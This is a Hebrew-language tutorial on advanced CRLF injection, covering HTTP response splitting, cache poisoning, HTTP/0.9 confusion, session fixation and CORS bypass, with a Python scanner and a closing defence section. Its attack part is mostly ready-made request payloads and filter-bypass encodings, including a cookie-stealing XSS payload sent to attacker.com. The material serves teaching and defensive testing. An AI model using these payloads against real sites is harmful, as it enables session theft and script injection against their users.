לדלג לתוכן

תקיפות CRLF מתקדמות - Advanced CRLF Attacks

מבוא

הInjection CRLF (Carriage Return Line Feed) היא טכניקת תקיפה שבה התוקף מזריק את התווים \r\n לתוך headers HTTP, עוגיות, או הפניות. ברמה הבסיסית, CRLF מאפשרת injection headers. ברמה המתקדמת, היא מובילה לפיצול תגובות (Response Splitting), poisoning cache, ושרשרת תקיפות מורכבת.


רקע - מבנה תגובת HTTP

תגובת HTTP מורכבת משורת סטטוס, headers, שורה ריקה וגוף:

HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Set-Cookie: session=abc123\r\n
\r\n
<html>body</html>

כל שורה מסתיימת ב-\r\n. שורה ריקה (\r\n\r\n) מפרידה בין הheaders לגוף. הInjection \r\n מאפשרת שליטה במבנה זה.


הInjection CRLF בסיסית

הInjection בheader Location

GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20admin=true HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: admin=true

ה-%0d%0a (encoding URL של \r\n) גורם לשבירת שורה בתגובה, והטקסט שאחריו מפורש כheader חדשה.

GET /page HTTP/1.1
Host: vulnerable-website.com
Cookie: lang=en%0d%0aSet-Cookie:%20admin=true

HTTP/1.1 200 OK
Set-Cookie: lang=en
Set-Cookie: admin=true

פיצול תגובות - HTTP Response Splitting

העיקרון

אם נזריק \r\n\r\n (שורה ריקה), נוכל לסיים את הheaders ולהתחיל גוף תגובה חדש. עם עוד \r\n, נוכל ליצור תגובה שנייה שלמה:

GET /redirect?url=x%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1
Host: vulnerable-website.com

התגובה מהשרת:

HTTP/1.1 302 Found
Location: x

HTTP/1.1 200 OK
Content-Type: text/html

<script>alert(1)</script>

הלקוח (או ה-proxy) עלול לפרש זאת כשתי תגובות נפרדות.

פיצול מלא עם Content-Length

GET /redirect?url=x%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a<script>alert(1)</script> HTTP/1.1

התגובה:

HTTP/1.1 302 Found
Location: x
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 25

<script>alert(1)</script>

ה-Content-Length: 0 בתגובה הראשונה גורם ללקוח לסיים את קריאתה ולהתחיל לקרוא את התגובה השנייה.


פיצול תגובות לpoisoning cache

שילוב פיצול תגובות עם cache יכול להיות הרסני:

תקיפה צעד אחר צעד

Step 1: The attacker sends two requests over one connection:
  Request 1: GET /redirect?url=<CRLF payload that creates a second response> HTTP/1.1
  Request 2: GET /static/main.js HTTP/1.1

Step 2: The server returns:
  Response 1: 302 Found + Location: x + Content-Length: 0
  Response 2 (fake): 200 OK + <script>alert(1)</script>
  Response 3 (real): 200 OK + main.js content

Step 3: The proxy/cache matches:
  Request 1 -> Response 1 (302, correct)
  Request 2 (GET /static/main.js) -> Response 2 (the fake one!)

Step 4: The cache stores:
  /static/main.js -> <script>alert(1)</script>

כל מבקר שיטען /static/main.js יקבל את הסקריפט הזדוני.


HTTP/0.9 ופיצול תגובות

רקע על HTTP/0.9

פרוטוקול HTTP/0.9 הוא הגרסה הקדומה ביותר. בגרסה זו אין headers - התגובה היא רק גוף:

Request:   GET /page\r\n
Response:  <html>content</html>

הExploit HTTP/0.9 לפיצול

חלק מהשרתים ו-proxies עדיין תומכים ב-HTTP/0.9. אם נצליח לגרום לשרת לענות ב-HTTP/0.9, התגובה לא תכלול headers, וכל התוכן יפורש כ-HTML:

GET /api/data?callback=<script>alert(1)</script> HTTP/0.9
Host: vulnerable-website.com

אם השרת עונה ב-HTTP/0.9:

<script>alert(1)</script>{"data": "..."}

אין header Content-Type, אז הדפדפן עלול לפרש את זה כ-HTML.


CRLF בהקשרים שונים

הInjection בheaders תגובה

GET /api/user?name=John%0d%0aX-Custom-Header:%20injected HTTP/1.1

HTTP/1.1 200 OK
X-User-Name: John
X-Custom-Header: injected

הInjection בעוגיות

GET /set-lang?lang=en%0d%0aSet-Cookie:%20session=attacker_session%3b%20Path=/

HTTP/1.1 302 Found
Set-Cookie: lang=en
Set-Cookie: session=attacker_session; Path=/

זוהי תקיפת Session Fixation דרך CRLF.

הInjection בהפניות

GET /redirect?next=https://safe.com%0d%0a%0d%0a<html><body>Phishing</body></html>

HTTP/1.1 302 Found
Location: https://safe.com

<html><body>Phishing</body></html>

הגוף שאחרי השורה הריקה מוצג לקורבן אם הדפדפן לא עוקב אחרי ה-redirect.


שרשרות CRLF מתקדמות

CRLF לpoisoning cache (ללא פיצול)

GET /page?x=%0d%0aX-Forwarded-Host:%20attacker.com HTTP/1.1
Host: vulnerable-website.com

HTTP/1.1 200 OK
X-Forwarded-Host: attacker.com
...
<script src="https://attacker.com/script.js"></script>

הInjection header X-Forwarded-Host דרך CRLF, שמשפיעה על התגובה ומאפשרת poisoning cache.

CRLF ל-XSS דרך header Content-Type

GET /api?q=%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert(1)</script>

HTTP/1.1 200 OK
Content-Type: application/json
Content-Type: text/html

<script>alert(1)</script>
{"results": []}

הheader Content-Type כפולה - חלק מהדפדפנים ישתמשו בheader האחרונה (text/html) ויפרשו את הגוף כ-HTML.

CRLF ל-CORS Bypass

GET /api/data?x=%0d%0aAccess-Control-Allow-Origin:%20https://attacker.com HTTP/1.1
Origin: https://attacker.com

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://attacker.com

payloads מתקדמים

הEncodings שונים

Regular \r\n:         %0d%0a
Double encoding:      %250d%250a
Unicode encoding:     %c4%8d%c4%8a
null + LF:            %00%0a
CR only:              %0d
LF only:              %0a
Similar Unicode char:     \u000d\u000a

הBypass סינון

# If %0d%0a is blocked, try:
%0d%20%0a          # space between CR and LF
%0d%09%0a          # tab between CR and LF
%0d%0a%20          # space after LF (line continuation)
%e5%98%8a%e5%98%8d # UTF-8 encoding of CR/LF

payload מלא לפיצול תגובות עם XSS

/redirect?url=x%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2062%0d%0a%0d%0a%3cscript%3edocument.location='https://attacker.com/?c='+document.cookie%3c/script%3e

בלבול פרוטוקולים ב-CRLF

בלבול דפדפן ספציפי

דפדפנים שונים מפרשים תגובות HTTP בצורות שונות:

Chrome: strict about Content-Length, ignores HTTP/0.9 responses in most cases
Firefox: a bit more lenient with an inaccurate Content-Length
Safari: unique behavior with charset parsing

# payload specific to Firefox
%0d%0aContent-Type:%20text/html;%20charset=UTF-7%0d%0a%0d%0a+ADw-script+AD4-alert(1)+ADw-/script+AD4-

בלבול עם WebSocket

GET /chat HTTP/1.1
Host: vulnerable-website.com
Upgrade: websocket%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>
Connection: Upgrade

סקריפט לבדיקת CRLF

#!/usr/bin/env python3
"""
Script for testing CRLF injection
"""

import requests
import urllib.parse

def test_crlf_injection(base_url, param_name):
    """Test CRLF injection in a parameter"""

    payloads = [
        # Basic
        ("%0d%0aInjected-Header: test", "CRLF basic"),
        # Double encoding
        ("%250d%250aInjected-Header: test", "Double encoded"),
        # LF only
        ("%0aInjected-Header: test", "LF only"),
        # CR only
        ("%0dInjected-Header: test", "CR only"),
        # Unicode
        ("%c4%8d%c4%8aInjected-Header: test", "Unicode CRLF"),
        # null + LF
        ("%00%0aInjected-Header: test", "Null + LF"),
    ]

    results = []

    for payload, description in payloads:
        url = f"{base_url}?{param_name}=value{payload}"
        try:
            resp = requests.get(url, allow_redirects=False)

            if 'Injected-Header' in str(resp.headers):
                results.append((description, "vulnerable", url))
                print(f"[+] {description}: vulnerable!")
            elif 'injected-header' in resp.text.lower():
                results.append((description, "possible", url))
                print(f"[?] {description}: possibly vulnerable (appears in body)")
            else:
                print(f"[-] {description}: not vulnerable")
        except Exception as e:
            print(f"[!] {description}: error - {e}")

    return results

def test_response_splitting(base_url, param_name):
    """Test response splitting"""

    # payload that tries to create a second response
    payload = (
        "x%0d%0aContent-Length:%200%0d%0a"
        "%0d%0a"
        "HTTP/1.1%20200%20OK%0d%0a"
        "Content-Type:%20text/html%0d%0a"
        "Content-Length:%2013%0d%0a"
        "%0d%0a"
        "SPLIT-SUCCESS"
    )

    url = f"{base_url}?{param_name}={payload}"

    try:
        resp = requests.get(url, allow_redirects=False)

        if 'SPLIT-SUCCESS' in resp.text:
            print("[+] Response splitting: vulnerable!")
            return True
        else:
            print("[-] Response splitting: not vulnerable")
            return False
    except Exception as e:
        print(f"[!] Error: {e}")
        return False

if __name__ == "__main__":
    import sys
    if len(sys.argv) < 3:
        print("Usage: python3 crlf_test.py <url> <param>")
        print("Example: python3 crlf_test.py https://target.com/redirect url")
        sys.exit(1)

    base_url = sys.argv[1]
    param = sys.argv[2]

    print(f"[*] Testing CRLF on {base_url}, parameter: {param}")
    print("=" * 50)
    print("\n[*] Testing header injection:")
    test_crlf_injection(base_url, param)

    print("\n[*] Testing response splitting:")
    test_response_splitting(base_url, param)

הגנה

1. סינון CRLF בקלט

import re

def sanitize_header_value(value):
    """Remove CRLF characters from a header value"""
    # Remove CR, LF and any control character
    return re.sub(r'[\r\n\x00-\x1f]', '', value)

def safe_redirect(url):
    """Safe redirect - CRLF sanitization"""
    clean_url = sanitize_header_value(url)
    # Also validate the URL
    if not clean_url.startswith(('http://', 'https://')):
        clean_url = '/'
    return redirect(clean_url)

2. שימוש ב-API בטוח

# Flask - response.headers automatically filters CRLF
from flask import make_response, redirect

@app.route('/redirect')
def safe_redirect():
    url = request.args.get('url', '/')
    # Flask automatically filters CRLF in headers
    return redirect(url)
// Node.js/Express - newer versions block CRLF
res.setHeader('Location', userInput);
// Express 4.x+ throws an error if userInput contains \r\n

3. הגדרות שרת

# nginx - filters headers with control characters
# nginx filters CRLF in proxy_set_header headers by default

4. WAF

- Set up a WAF rule that blocks %0d, %0a, %0D, %0A in every parameter
- Also include double encoding: %250d, %250a
- And also Unicode encoding

סיכום

תקיפות CRLF מתקדמות חורגות הרבה מעבר לinjection header פשוטה. פיצול תגובות מאפשר יצירת תגובות שלמות, poisoning cache ו-XSS. נקודות מפתח:

  • הInjection \r\n מאפשרת הוספת headers, וinjection \r\n\r\n מאפשרת פיצול תגובות
  • פיצול תגובות בשילוב עם cache מאפשר תקיפה המונית
  • הEncodings שונים (כפול, Unicode, חלקי) עוקפים סינון בסיסי
  • רוב הפריימוורקים המודרניים מגנים מפני CRLF, אבל שרתים ישנים ו-proxies עלולים להיות פגיעים